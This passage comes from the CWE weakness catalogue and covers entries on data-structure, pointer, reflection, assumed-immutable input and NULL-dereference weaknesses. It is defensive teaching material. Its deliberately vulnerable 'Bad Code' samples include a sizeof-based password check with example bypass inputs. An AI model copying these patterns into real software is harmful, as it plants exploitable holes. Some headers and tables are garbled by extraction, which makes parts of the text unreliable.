    returnValue=doStuff();
  }
  public static final boolean doStuff( ) {
    boolean threadLock;
    boolean truthvalue=true;
    try {
      while(
      //check some condition
      ) {
        threadLock=true; //do some stuff to truthvalue
        threadLock=false;
      }
    }
    catch (Exception e){
      System.err.println("You did something bad");
      if (something) return truthvalue;
    }
    return truthvalue;
  }
```

```
}
```

In this case, you may leave a thread locked accidentally.

Potential Mitigations

Implementation

If one breaks from a loop or function by throwing an exception, make sure that cleanup happens or that you should exit the program. Use throwing exceptions sparsely.

Relationships

CWE-461: Data Structure Issues

Category ID: 461 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to improper handling of specific data structures.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	19	Data Processing Errors	**699**	18
ParentOf	B	*462*	*Duplicate Key in Associative List (Alist)*	***699***	*780*
ParentOf	B	*463*	*Deletion of Data Structure Sentinel*	***699***	*781*
ParentOf	B	*464*	*Addition of Data Structure Sentinel*	***699***	*783*

CWE-462: Duplicate Key in Associative List (Alist)

Weakness ID: 462 *(Weakness Base)* **Status:** Incomplete

Description

Summary

Duplicate keys in associative lists can lead to non-unique keys being mistaken for an error.

Extended Description

A duplicate key entry -- if the alist is designed properly -- could be used as a constant time replace function. However, duplicate key entries could be inserted by mistake. Because of this ambiguity, duplicate key entries in an association list are not recommended and should not be allowed.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C

- C++
- Java
- .NET

Common Consequences

Other
Quality degradation
Varies by context

Likelihood of Exploit

Low

Demonstrative Examples

The following code adds data to a list and then attempts to sort the data.

Bad Code

```
alist = []
while (foo()): #now assume there is a string data with a key basename
  queue.append(basename,data)
  queue.sort()
```

Since basename is not necessarily unique, this may not sort how one would like it to be.

Potential Mitigations

Architecture and Design

Use a hash table instead of an alist.

Architecture and Design

Use an alist which checks the uniqueness of hash keys with each entry before inserting the entry.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	461	Data Structure Issues	**699**	780

CERT C Secure Coding	ENV02-C	Beware of multiple environment variables with the same effective name
CERT C++ Secure Coding	ENV02-CPP	Beware of multiple environment variables with the same effective name

CWE-463: Deletion of Data Structure Sentinel

Weakness ID: 463 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The accidental deletion of a data-structure sentinel can cause serious programming logic problems.

Extended Description

Often times data-structure sentinels are used to mark structure of the data structure. A common example of this is the null character at the end of strings. Another common example is linked lists which may contain a sentinel to mark the end of the list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the deletion or modification outside of some wrapper interface which provides safety.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Availability
Other
Other

Generally this error will cause the data structure to not work properly.

Authorization
Other
Other

If a control character, such as NULL is removed, one may cause resource access control problems.

Demonstrative Examples

This example creates a null terminated string and prints it contents.

C/C++ Example: *Bad Code*

```
char *foo;
int counter;
foo=calloc(sizeof(char)*10);
for (counter=0;counter!=10;counter++) {
  foo[counter]='a';
printf("%s\n",foo);
}
```

The string foo has space for 9 characters and a null terminator, but 10 characters are written to it. As a result, the string foo is not null terminated and calling printf() on it will have unpredictable and possibly dangerous results.

Potential Mitigations

Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Build and Compilation
Compilation or Build Hardening
Defense in Depth

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.

For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Operation

Use OS-level preventative functionality. Not a complete solution.

CWE-464: Addition of Data Structure Sentinel

Weakness ID: 464 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The accidental addition of a data-structure sentinel can cause serious programming logic problems.

Extended Description

Data-structure sentinels are often used to mark the structure of data. A common example of this is the null character at the end of strings or a special sentinel to mark the end of a linked list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the addition or modification of sentinels.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Integrity
Modify application data

Generally this error will cause the data structure to not work properly by truncating the data.

Likelihood of Exploit

High to Very High

Demonstrative Examples

The following example assigns some character values to a list of characters and prints them each individually, and then as a string. The third character value is intended to be an integer taken from user input and converted to an int.

C/C++ Example: *Bad Code*

```
char *foo;
foo=malloc(sizeof(char)*5);
foo[0]='a';
foo[1]='a';
foo[2]=atoi(getc(stdin));
foo[3]='c';
foo[4]='\0'
printf("%c %c %c %c %c \n",foo[0],foo[1],foo[2],foo[3],foo[4]);
printf("%s\n",foo);
```

The first print statement will print each character separated by a space. However, if a non-integer is read from stdin by getc, then atoi will not make a conversion and return 0. When foo is printed as a string, the 0 at character foo[2] will act as a NULL terminator and foo[3] will never be printed.

Potential Mitigations

Implementation
Architecture and Design

Encapsulate the user from interacting with data sentinels. Validate user input to verify that sentinels are not present.

Implementation

Proper error checking can reduce the risk of inadvertently introducing sentinel values into data. For example, if a parsing function fails or encounters an error, it might return a value that is the same as the sentinel.

Architecture and Design

Use an abstraction library to abstract away risky APIs. This is not a complete solution.

Operation

Use OS-level preventative functionality. This is not a complete solution.

CWE-466: Return of Pointer Value Outside of Expected Range

Weakness ID: 466 *(Weakness Base)* **Status:** Draft

Description

Summary

A function can return a pointer to memory that is outside of the buffer that the pointer is expected to reference.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Confidentiality
Integrity
Read memory
Modify memory

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	20	Improper Input Validation	**700**	18

CERT C Secure Coding	INT11-C	Take care when converting from pointer to integer or integer to pointer
CERT C++ Secure Coding	INT11-CPP	Take care when converting from pointer to integer or integer to pointer
Software Fault Patterns	SFP1	Glitch in computation

White Box Definitions

A weakness where code path has:

1. end statement that returns an address associated with a buffer where address is outside the buffer
2. start statement that computes a position into the buffer

References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.

Maintenance Notes

This entry should have a chaining relationship with CWE-119 instead of a parent / child relationship, however the focus of this weakness does not map cleanly to any existing entries in CWE. A new parent is being considered which covers the more generic problem of incorrect return values. There is also an abstract relationship to weaknesses in which one component sends incorrect messages to another component; in this case, one routine is sending an incorrect value to another.

CWE-467: Use of sizeof() on a Pointer Type

Weakness ID: 467 *(Weakness Variant)* **Status:** Draft

Description

Summary

The code calls sizeof() on a malloced pointer type, which always returns the wordsize/8. This can produce an unexpected result if the programmer intended to determine how much memory has been allocated.

Extended Description

The use of sizeof() on a pointer can sometimes generate useful information. An obvious case is to find out the wordsize on a platform. More often than not, the appearance of sizeof(pointer) indicates a bug.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Integrity
Confidentiality
Modify memory
Read memory

This error can often cause one to allocate a buffer that is much smaller than what is needed, leading to resultant weaknesses such as buffer overflows.

Likelihood of Exploit

High

Demonstrative Examples

Example 1:

Care should be taken to ensure sizeof returns the size of the data structure itself, and not the size of the pointer to the data structure.

In this example, sizeof(foo) returns the size of the pointer.

C/C++ Example: *Bad Code*

```
double *foo;
...
foo = (double *)malloc(sizeof(foo));
```

In this example, sizeof(*foo) returns the size of the data structure and not the size of the pointer.

C/C++ Example: *Good Code*

```
double *foo;
...
foo = (double *)malloc(sizeof(*foo));
```

Example 2:

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

Bad Code

```
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
char *username = "admin";
char *pass = "password";
int AuthenticateUser(char *inUser, char *inPass) {
  printf("Sizeof username = %d\n", sizeof(username));
  printf("Sizeof pass = %d\n", sizeof(pass));
  if (strncmp(username, inUser, sizeof(username))) {
```

```
    printf("Auth failure of username using sizeof\n");
    return(AUTH_FAIL);
  }
  /* Because of CWE-467, the sizeof returns 4 on many platforms and architectures. */
  if (! strncmp(pass, inPass, sizeof(pass))) {
    printf("Auth success of password using sizeof\n");
    return(AUTH_SUCCESS);
  }
  else {
    printf("Auth fail of password using sizeof\n");
    return(AUTH_FAIL);
  }
}
int main (int argc, char **argv)
{
  int authResult;
  if (argc < 3) {
    ExitError("Usage: Provide a username and password");
  }
  authResult = AuthenticateUser(argv[1], argv[2]);
  if (authResult != AUTH_SUCCESS) {
    ExitError("Authentication failed");
  }
  else {
    DoAuthenticatedTask(argv[1]);
  }
}
```

In AuthenticateUser(), because sizeof() is applied to a parameter with an array type, the sizeof() call might return 4 on many modern architectures. As a result, the strncmp() call only checks the first four characters of the input password, resulting in a partial comparison (CWE-187), leading to improper authentication (CWE-287).

Because of the partial comparison, any of these passwords would still cause authentication to succeed for the "admin" user:

Attack

```
pass5
passABCDEFGH
passWORD
```

Because only 4 characters are checked, this significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "adminXYZ" and "administrator" will succeed for the username.

Potential Mitigations

Implementation

Use expressions such as "sizeof(*pointer)" instead of "sizeof(pointer)", unless you intend to run sizeof() on a pointer type to gain some platform independence or if you are allocating a variable on the stack.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

CWE-468: Incorrect Pointer Scaling

Weakness ID: 468 *(Weakness Base)* **Status:** Incomplete

Description

Summary

In C and C++, one may often accidentally refer to the wrong memory due to the semantics of when math operations are implicitly scaled.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Modes of Introduction

Programmers may try to index from a pointer by adding a number of bytes. This is incorrect because C and C++ implicitly scale the operand by the size of the data type.

Common Consequences

Confidentiality
Integrity
Read memory
Modify memory

Incorrect pointer scaling will often result in buffer overflow conditions. Confidentiality can be compromised if the weakness is in the context of a buffer over-read or under-read.

Likelihood of Exploit

Medium

Demonstrative Examples

This example attempts to calculate the position of the second byte of a pointer.

C Example: *Bad Code*

```
int *p = x;
char * second_char = (char *)(p + 1);
```

In this example, second_char is intended to point to the second byte of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment.

Potential Mitigations

Architecture and Design

Use a platform with high-level memory abstractions.

Implementation

Always use array indexing instead of direct pointer manipulation.

Architecture and Design

Use technologies for preventing buffer overflows.

CWE-469: Use of Pointer Subtraction to Determine Size

Weakness ID: 469 *(Weakness Base)* **Status:** Draft

Description

Summary

The application subtracts one pointer from another in order to determine size, but this calculation can be incorrect if the pointers do not exist in the same memory chunk.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Access Control
Integrity
Confidentiality
Availability
Execute unauthorized code or commands
Gain privileges / assume identity

There is the potential for arbitrary code execution with privileges of the vulnerable program.

Likelihood of Exploit

Medium

Demonstrative Examples

The following example contains the method size that is used to determine the number of nodes in a linked list. The method is passed a pointer to the head of the linked list.

C/C++ Example: *Bad Code*

```
struct node {
  int data;
  struct node* next;
};
// Returns the number of nodes in a linked list from
// the given pointer to the head of the list.
int size(struct node* head) {
  struct node* current = head;
  struct node* tail;
  while (current != NULL) {
    tail = current;
    current = current->next;
  }
  return tail - head;
}
// other methods for manipulating the list
...
```

However, the method creates a pointer that points to the end of the list and uses pointer subtraction to determine the number of nodes in the list by subtracting the tail pointer from the head pointer. There no guarantee that the pointers exist in the same memory area, therefore using pointer subtraction in this way could return incorrect results and allow other unintended behavior. In this example a counter should be used to determine the number of nodes in the list, as shown in the following code.

C/C++ Example: *Good Code*

```
...
int size(struct node* head) {
  struct node* current = head;
  int count = 0;
  while (current != NULL) {
    count++;
    current = current->next;
  }
  return count;
}
```

Potential Mitigations

Implementation

Save an index variable. This is the recommended solution. Rather than subtract pointers from one another, use an index variable of the same size as the pointers in question. Use this variable to "walk" from one pointer to the other and calculate the difference. Always sanity check this number.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	465	Pointer Issues	**699**	784
ChildOf	C	682	Incorrect Calculation	**1000**	1063

ChildOf	C	971	SFP Secondary Cluster: Faulty Pointer Use	**888**	1385
MemberOf	V	*884*	*CWE Cross-section*	***884***	*1323*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Improper pointer subtraction
CERT C Secure Coding	ARR36-C	Do not subtract or compare two pointers that do not refer to the same array
CERT C Secure Coding	ARR37-C	Do not add or subtract an integer to a pointer to a non-array object
CERT C++ Secure Coding	ARR36-CPP	Do not subtract or compare two pointers or iterators that do not refer to the same array or container
CERT C++ Secure Coding	ARR37-CPP	Do not add or subtract an integer to a pointer to a non-array object
Software Fault Patterns	SFP7	Faulty Pointer Use

White Box Definitions

A weakness where code path has:

1. end statement that subtracts pointer1 from pointer2
2. start statement that associates pointer1 with a memory chunk1 and pointer2 to a memory chunk2
3. memory chunk1 is not equal to the memory chunk2

CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

Weakness ID: 470 *(Weakness Base)* **Status:** Draft

Description

Summary

The application uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.

Extended Description

If the application uses external inputs to determine which class to instantiate or which method to invoke, then an attacker could supply values to select unexpected classes or methods. If this occurs, then the attacker could create control flow paths that were not intended by the developer. These paths could bypass authentication or access control checks, or otherwise cause the application to behave in an unexpected manner. This situation becomes a doomsday scenario if the attacker can upload files into a location that appears on the application's classpath (CWE-427) or add new entries to the application's classpath (CWE-426). Under either of these conditions, the attacker can use reflection to introduce new, malicious behavior into the application.

Alternate Terms

Reflection Injection

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Java
- PHP
- Interpreted languages *(Sometimes)*

Common Consequences

Integrity
Confidentiality
Availability
Other
Execute unauthorized code or commands
Alter execution logic

The attacker might be able to execute code that is not directly accessible to the attacker. Alternately, the attacker could call unexpected code in the wrong place or the wrong time, possibly modifying critical system state.

Availability
Other
DoS: crash / exit / restart
Other

The attacker might be able to use reflection to call the wrong code, possibly with unexpected arguments that violate the API (CWE-227). This could cause the application to exit or hang.

Confidentiality
Read application data

By causing the wrong code to be invoked, the attacker might be able to trigger a runtime error that leaks sensitive information in the error message, such as CWE-536.

Demonstrative Examples

A common reason that programmers use the reflection API is to implement their own command dispatcher. The following example shows a command dispatcher that does not use reflection:

Java Example: *Good Code*

```
String ctl = request.getParameter("ctl");
Worker ao = null;
if (ctl.equals("Add")) {
  ao = new AddCommand();
}
else if (ctl.equals("Modify")) {
  ao = new ModifyCommand();
}
else {
  throw new UnknownActionError();
}
ao.doAction(request);
```

A programmer might refactor this code to use reflection as follows:

Java Example: *Bad Code*

```
String ctl = request.getParameter("ctl");
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker) cmdClass.newInstance();
ao.doAction(request);
```

The refactoring initially appears to offer a number of advantages. There are fewer lines of code, the if/else blocks have been entirely eliminated, and it is now possible to add new command types without modifying the command dispatcher. However, the refactoring allows an attacker to instantiate any object that implements the Worker interface. If the command dispatcher is still responsible for access control, then whenever programmers create a new class that implements the Worker interface, they must remember to modify the dispatcher's access control code. If they do not modify the access control code, then some Worker classes will not have any access control.

One way to address this access control problem is to make the Worker object responsible for performing the access control check. An example of the re-refactored code follows:

Java Example: *Bad Code*

```
String ctl = request.getParameter("ctl");
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker) cmdClass.newInstance();
ao.checkAccessControl(request);
```

```
ao.doAction(request);
```

Although this is an improvement, it encourages a decentralized approach to access control, which makes it easier for programmers to make access control mistakes. This code also highlights another security problem with using reflection to build a command dispatcher. An attacker can invoke the default constructor for any kind of object. In fact, the attacker is not even constrained to objects that implement the Worker interface; the default constructor for any object in the system can be invoked. If the object does not implement the Worker interface, a ClassCastException will be thrown before the assignment to ao, but if the constructor performs operations that work in the attacker's favor, the damage will already have been done. Although this scenario is relatively benign in simple applications, in larger applications where complexity grows exponentially it is not unreasonable that an attacker could find a constructor to leverage as part of an attack.

Observed Examples

Reference	Description
CVE-2004-2331	Database system allows attackers to bypass sandbox restrictions by using the Reflection APi.

Potential Mitigations

Architecture and Design

Refactor your code to avoid using reflection.

Architecture and Design

Do not use user-controlled inputs to select and load classes or code.

Implementation

Apply strict input validation by using whitelists or indirect selection to ensure that the user is only selecting allowable classes or code.

7 Pernicious Kingdoms		Unsafe Reflection
CERT Java Secure Coding	SEC06-J	Do not use reflection to increase accessibility of classes, methods, or fields

White Box Definitions

A weakness where code path has:

1. start statement that accepts input
2. end statement that performs reflective operation and where the input is part of the target name of the reflective operation

CWE-471: Modification of Assumed-Immutable Data (MAID)

Weakness ID: 471 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not properly protect an assumed-immutable element from being modified by an attacker.

Extended Description

This occurs when a particular input is critical enough to the functioning of the application that it should not be modifiable at all, but it is. Certain resources are often assumed to be immutable when they are not, such as hidden form fields in web applications, cookies, and reverse DNS lookups.

Time of Introduction

- Implementation
- Architecture and Design

Applicable Platforms

Languages

- Language-independent

Common Consequences

Integrity
Modify application data

Common data types that are attacked are environment variables, web application parameters, and HTTP headers.

Integrity
Unexpected state

Demonstrative Examples

In the code excerpt below, an array returned by a Java method is modified despite the fact that arrays are mutable.

Java Example: *Bad Code*

```
String[] colors = car.getAllPossibleColors();
colors[0] = "Red";
```

Observed Examples

Reference	Description
CVE-2002-1757	Relies on $PHP_SELF variable for authentication.
CVE-2005-1905	Gain privileges by modifying assumed-immutable code addresses that are accessed by a driver.

Potential Mitigations

Architecture and Design
Operation
Implementation

When the data is stored or transmitted through untrusted sources that could modify the data, implement integrity checks to detect unauthorized modification, or store/transmit the data in a trusted location that is free from external influence.

CanFollow	B	*621*	*Variable Extraction Error*	*1000*	*971*

Relationship Notes

MAID issues can be primary to many other weaknesses, and they are a major factor in languages that provide easy access to internal program constructs, such as PHP's register_globals and similar features. However, MAID issues can also be resultant from weaknesses that modify internal state; for example, a program might validate some data and store it in memory, but a buffer overflow could overwrite that validated data, leading to a change in program logic.

Theoretical Notes

There are many examples where the MUTABILITY property is a major factor in a vulnerability.

CWE-472: External Control of Assumed-Immutable Web Parameter

Weakness ID: 472 *(Weakness Base)* **Status:** Draft

Description

Summary

The web application does not sufficiently verify inputs that are assumed to be immutable but are actually externally controllable, such as hidden form fields.

Extended Description

If a web product does not properly protect assumed-immutable values from modification in hidden form fields, parameters, cookies, or URLs, this can lead to modification of critical data. Web applications often mistakenly make the assumption that data passed to the client in hidden fields or cookies is not susceptible to tampering. Improper validation of data that are user-controllable can lead to the application processing incorrect, and often malicious, input.

For example, custom cookies commonly store session data or persistent data across sessions. This kind of session data is normally involved in security related decisions on the server side, such as user authentication and access control. Thus, the cookies might contain sensitive data such as user credentials and privileges. This is a dangerous practice, as it can often lead to improper reliance on the value of the client-provided cookie by the server side application.

Alternate Terms

Assumed-Immutable Parameter Tampering

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Integrity
Modify application data

Without appropriate protection mechanisms, the client can easily tamper with cookies and similar web data. Reliance on the cookies without detailed validation can lead to problems such as SQL injection. If you use cookie values for security related decisions on the server side, manipulating the cookies might lead to violations of security policies such as authentication bypassing, user impersonation and privilege escalation. In addition, storing sensitive data in the cookie without appropriate protection can also lead to disclosure of sensitive user data, especially data stored in persistent cookies.

Demonstrative Examples

Example 1:

Here, a web application uses the value of a hidden form field (accountID) without having done any input validation because it was assumed to be immutable.

Java Example: *Bad Code*

```
String accountID = request.getParameter("accountID");
User user = getUserFromID(Long.parseLong(accountID));
```

Example 2:

Hidden fields should not be trusted as secure parameters. An attacker can intercept and alter hidden fields in a post to the server as easily as user input fields. An attacker can simply parse the HTML for the substring:

HTML Example: *Bad Code*

```
< input type "hidden"
or even just "hidden". Hidden field values displayed later in the session, such as on the following page, can open a site up to cross-site scripting attacks.
```

Observed Examples

Reference	Description
CVE-2000-0101	Shopping cart allows price modification via hidden form field.
CVE-2000-0102	Shopping cart allows price modification via hidden form field.
CVE-2000-0253	Shopping cart allows price modification via hidden form field.
CVE-2000-0254	Shopping cart allows price modification via hidden form field.
CVE-2000-0758	Allows admin access by modifying value of form field.
CVE-2000-0926	Shopping cart allows price modification via hidden form field.
CVE-2000-1234	Send email to arbitrary users by modifying email parameter.
CVE-2002-0108	Forum product allows spoofed messages of other users via hidden form fields for name and e-mail address.
CVE-2002-1880	Read messages by modifying message ID parameter.
CVE-2005-1652	Authentication bypass by setting a parameter.
CVE-2005-1682	Modification of message number parameter allows attackers to read other people's messages.
CVE-2005-1784	Product does not check authorization for configuration change admin script, leading to password theft via modified e-mail address field.
CVE-2005-2314	Logic error leads to password disclosure.

Potential Mitigations

Implementation
Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation
Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

CWE-473: PHP External Variable Modification

Weakness ID: 473 *(Weakness Variant)* **Status:** Draft

Description

Summary

A PHP application does not properly protect against the modification of variables from external sources, such as query parameters or cookies. This can expose the application to numerous weaknesses that would not exist otherwise.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- PHP

Common Consequences

Integrity

Modify application data

Observed Examples

Reference	Description
CVE-2000-0860	File upload allows arbitrary file read by setting hidden form variables to match internal variable names.
CVE-2001-0854	Mistakenly trusts $PHP_SELF variable to determine if include script was called by its parent.
CVE-2001-1025	Modify key variable when calling scripts that don't load a library that initializes it.
CVE-2002-0764	PHP remote file inclusion by modified assumed-immutable variable.
CVE-2003-0754	Authentication bypass by modifying array used for authentication.

Potential Mitigations

Requirements

Implementation

Carefully identify which variables can be controlled or influenced by an external user, and consider adopting a naming convention to emphasize when externally modifiable variables are being used. An application should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking is performed when relying on input from outside a trust boundary. Do not allow your application to run with register_globals enabled. If you implement a register_globals emulator, be extremely careful of variable extraction, dynamic evaluation, and similar issues, since weaknesses in your emulation could allow external variable modification to take place even without register_globals.

CWE-474: Use of Function with Inconsistent Implementations

Weakness ID: 474 *(Weakness Base)* **Status:** Draft

Description

Summary

The code uses a function that has inconsistent implementations across operating systems and versions.

Extended Description

The use of inconsistent implementations can cause changes in behavior when the code is ported or built under a different environment than the programmer expects, which can lead to security problems in some cases.

The implementation of many functions varies by platform, and at times, even by different versions of the same platform. Implementation differences can include:

Slight differences in the way parameters are interpreted leading to inconsistent results.

Some implementations of the function carry significant security risks.

The function might not be defined on all platforms.

The function might change which return codes it can provide, or change the meaning of its return codes.

Time of Introduction

CWE-475: Undefined Behavior for Input to API

CWE-474: Use of Function with Inconsistent Implementations

Weakness ID: 475 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The behavior of this function is undefined unless its control parameter is set to a specific value.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Other
Quality degradation
Varies by context

Other Notes

The Linux Standard Base Specification 2.0.1 for libc places constraints on the arguments to some internal functions [21]. If the constraints are not met, the behavior of the functions is not defined. It is unusual for this function to be called directly. It is almost always invoked through a macro defined in a system header file, and the macro ensures that the following constraints are met: The value 1 must be passed to the third parameter (the version number) of the following file system function: __xmknod The value 2 must be passed to the third parameter (the group argument) of the following wide character string functions: __wcstod_internal __wcstof_internal __wcstol_internal __wcstold_internal __wcstoul_internal The value 3 must be passed as the first parameter (the version number) of the following file system functions: __xstat __lxstat __fxstat __xstat64 __lxstat64 __fxstat64

CWE-476: NULL Pointer Dereference

Weakness ID: 476 *(Weakness Base)* **Status:** Draft

Description

Summary

A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.

Extended Description

NULL pointer dereference issues can occur through a number of flaws, including race conditions, and simple programming omissions.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++
- Java

- .NET

Common Consequences

Availability
DoS: crash / exit / restart

NULL pointer dereferences usually result in the failure of the process unless exception handling (on some platforms) is available and implemented. Even when exception handling is being used, it can still be very difficult to return the software to a safe state of operation.

Integrity
Confidentiality
Availability
Execute unauthorized code or commands

In very rare circumstances and environments, code execution is possible.

Likelihood of Exploit

Medium

Detection Methods

Automated Dynamic Analysis
Moderate

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Demonstrative Examples

Example 1:

While there are no complete fixes aside from conscientious programming, the following steps will go a long way to ensure that NULL pointer dereferences do not occur.

Mitigation Code

```
if (pointer1 != NULL) {
  /* make use of pointer1 */
  /* ... */
}
```

If you are working with a multithreaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the if statement; and unlock when it has finished.

Example 2:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

C Example: *Bad Code*

```
void host_lookup(char *user_supplied_addr){
  struct hostent *hp;
  in_addr_t *addr;
  char hostname[64];
  in_addr_t inet_addr(const char *cp);
  /*routine that ensures user_supplied_addr is in the right format for conversion */
  validate_addr_form(user_supplied_addr);
  addr = inet_addr(user_supplied_addr);
  hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
  strcpy(hostname, hp->h_name);
```

```
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference would then occur in the call to strcpy().

Note that this example is also vulnerable to a buffer overflow (see CWE-119).

Example 3:

In the following code, the programmer assumes that the system always has a property named "cmd" defined. If an attacker can control the program's environment so that "cmd" is not defined, the program throws a NULL pointer exception when it attempts to call the trim() method.

Java Example: *Bad Code*

```
String cmd = System.getProperty("cmd");
cmd = cmd.trim();
```

Example 4:

This application has registered to handle a URL when sent an intent:

Java Example: *Bad Code*

```
...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
  @Override
  public void onReceive(Context context, Intent intent) {
    if("com.example.URLHandler.openURL".equals(intent.getAction())) {
      String URL = intent.getStringExtra("URLToOpen");
      int length = URL.length();
    ...
    }
  }
}
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

Observed Examples

Reference	Description
CVE-2002-0401	Network monitor allows remote attackers to cause a denial of service (crash) or execute arbitrary code via malformed packets that cause a NULL pointer dereference.
CVE-2002-1912	large number of packets leads to NULL dereference
CVE-2003-1000	Chat client allows remote attackers to cause a denial of service (crash) via a passive DCC request with an invalid ID number, which causes a null dereference.
CVE-2003-1013	Network monitor allows remote attackers to cause a denial of service (crash) via a malformed Q.931, which triggers a null dereference.
CVE-2004-0079	SSL software allows remote attackers to cause a denial of service (crash) via a crafted SSL/TLS handshake that triggers a null dereference.
CVE-2004-0119	OS allows remote attackers to cause a denial of service (crash from null dereference) or execute arbitrary code via a crafted request during authentication protocol selection.
CVE-2004-0365	Network monitor allows remote attackers to cause a denial of service (crash) via a malformed RADIUS packet that triggers a null dereference.
CVE-2004-0389	Server allows remote attackers to cause a denial of service (crash) via malformed requests that trigger a null dereference.
CVE-2004-0458	Game allows remote attackers to cause a denial of service (server crash) via a missing argument, which triggers a null pointer dereference.
CVE-2005-0772	packet with invalid error status value triggers NULL dereference
CVE-2005-3274	race condition causes a table to be corrupted if a timer activates while it is being modified, leading to resultant NULL dereference; also involves locking.

Reference	Description
CVE-2008-3597	chain: game server can access player data structures before initialization has happened leading to NULL dereference
CVE-2008-5183	chain: unchecked return value can lead to NULL dereference
CVE-2009-0949	chain: improper initialization of memory can lead to NULL dereference
CVE-2009-2692	chain: uninitialized function pointers can be dereferenced allowing code execution
CVE-2009-2698	chain: IP and UDP layers each track the same value with different mechanisms that can get out of sync, possibly resulting in a NULL dereference
CVE-2009-3547	chain: race condition might allow resource to be released before operating on it, leading to NULL dereference
CVE-2009-3620	chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference
CVE-2009-4895	chain: race condition for an argument value, possibly resulting in NULL dereference

Potential Mitigations

Implementation

